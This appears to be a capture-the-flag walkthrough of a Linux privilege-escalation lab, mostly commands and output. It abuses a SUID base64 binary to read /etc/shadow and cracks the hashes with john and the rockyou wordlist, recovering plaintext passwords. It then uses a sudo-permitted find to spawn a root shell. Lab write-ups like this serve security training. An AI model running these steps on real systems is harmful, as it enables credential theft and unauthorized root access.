target = "10.10.112.36"

ssh leonard@10.10.112.36 -p Penny123

uname -a

> Linux ip-10-10-112-36 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

SUID binaries

Linpeas enumeration

> find / -perm -u=s -type f 2>/dev/null

```
[leonard@ip-10-10-112-36 ~]$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/base64
/usr/bin/ksu
```

> base64 "$LFILE" | base64 --decode

export shadow and password file

> unshadow passwd.txt shadow.txt > cracked.txt

> john --wordlist=/usr/share/wordlists/rockyou.txt cracked.txt

```
┌──(itsme㉿biggie)-[~/tryHackMe]
└─$ unshadow passwd.txt shadow.txt > cracked.txt

┌──(itsme㉿biggie)-[~/tryHackMe]
└─$ gedit cracked.txt

(gedit:11042): tepl-WARNING **: 09:05:17.562: Style scheme 'Kali-Dark' cannot be found, falling back to 'Kali-Dark' default style scheme.

(gedit:11042): tepl-WARNING **: 09:05:17.562: Default style scheme 'Kali-Dark' cannot be found, check your installation.

┌──(itsme㉿biggie)-[~/tryHackMe]
└─$ unshadow passwd.txt shadow.txt > cracked.txt

┌──(itsme㉿biggie)-[~/tryHackMe]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt  cracked.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1        (missy)
Penny123         (leonard)
2g 0:00:17:15 10.99% (ETA: 11:42:49) 0.001930g/s 1686p/s 2371c/s 2371C/s heavens2..heartache6
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
```

> su missy -p Password1 sudo binaries

```
[missy@ip-10-10-112-36 leonard]$ sudo -l
Matching Defaults entries for missy on ip-10-10-112-36:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KD
    LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER L
    XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User missy may run the following commands on ip-10-10-112-36:
    (ALL) NOPASSWD: /usr/bin/find
[missy@ip-10-10-112-36 leonard]$
```

> sudo find . -exec /bin/sh ; -quit

```
User missy may run the following commands on ip-10-10-112-36:
    (ALL) NOPASSWD: /usr/bin/find
[missy@ip-10-10-112-36 leonard]$ sudo find . -exec /bin/sh \; -quit
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2#
```